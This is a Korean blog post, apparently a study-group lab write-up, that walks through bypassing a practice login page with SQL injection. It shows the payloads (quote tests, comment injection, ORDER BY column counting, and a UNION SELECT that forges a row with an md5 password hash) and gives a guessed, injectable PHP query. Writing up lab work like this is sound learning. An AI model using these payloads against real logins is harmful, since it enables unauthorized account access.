Login Bypass 4번 풀이

황인환·2024년 5월 19일

- 과제

Login Bypass 4번 normaltic4로 접속하기
ID: doldol PW: dol1234가 주어졌다.

1. Burp Suite로 패킷 분석 확인

-> 주어진 ID PW 활용
-> POST방식, cookie 인증x

2. 'and'1'='1입력

ID: doldol'and'1'='1
PW: dol1234(doldol에 맞는 비밀번호)
-> WHERE id = ''이외 괄호 있는지 체크
-> 로그인 성공 괄호x

3. 주석입력 '#

ID: doldol'#
PW:1(아무거나)
-> 로그인 실패
-> 식별인증 분리의심 & 개행의심

4. 'or'1'='1입력

ID: doldol'or'1'='1
PW: 1(아무거나)
-> 로그인 실패
-> 식별인증분리의심

5. union select 사용

union select를 사용하기 전에 칼럼의 갯수를 알아야한다.
-> 자세한것은 Login Bypass 필요한 개념

- 'order by n# (n은 숫자이다.)

ID: doldol'order by 1#
PW: dol1234(doldol에 맞는 비밀번호)
->로그인 성공
ID: doldol'order by 2#
PW: dol1234(doldol에 맞는 비밀번호)
->로그인 성공
ID: doldol'order by 3#
PW: dol1234(doldol에 맞는 비밀번호)
->로그인 실패

- 칼럼 갯수는 2개이다.

- ' union select'1','1'# 대입

ID: ' union select '1','1'#
PW: 1(위에 비밀번호 칼럼에 적은거 맞춰야함)-> 자세한건 필요개념에
-> 로그인 실패
-> 비밀번호 hash 의심

6.hash비밀번호를 대입

ID: ' union select '1',md5('1')#
PW: 1
-> 로그인 성공
-> md5로 해시번호 선택한 이유 가장 대표적인 방법이라 적용
-> 해시비밀번호입력(md5('1')) 부분에 ''를 쓰지 않음 해멘포인트

7. normaltic4에 적용

ID: ' union select 'normaltic4',md5('1')#
PW: 1
-> 로그인 성공

8. 예상 코드

    $sql="SELECT * FROM users WHERE id = '$uname'";
    $result=mysqli_query($conn, $sql);
    $row= mysqli_num_rows($result);

    if($row === 1){
        $row2=mysqli_fetch_assoc($result);
        if($password === $row2['password']){
        header("Location: index.php");

--normaltic study 5주차--

0개의 댓글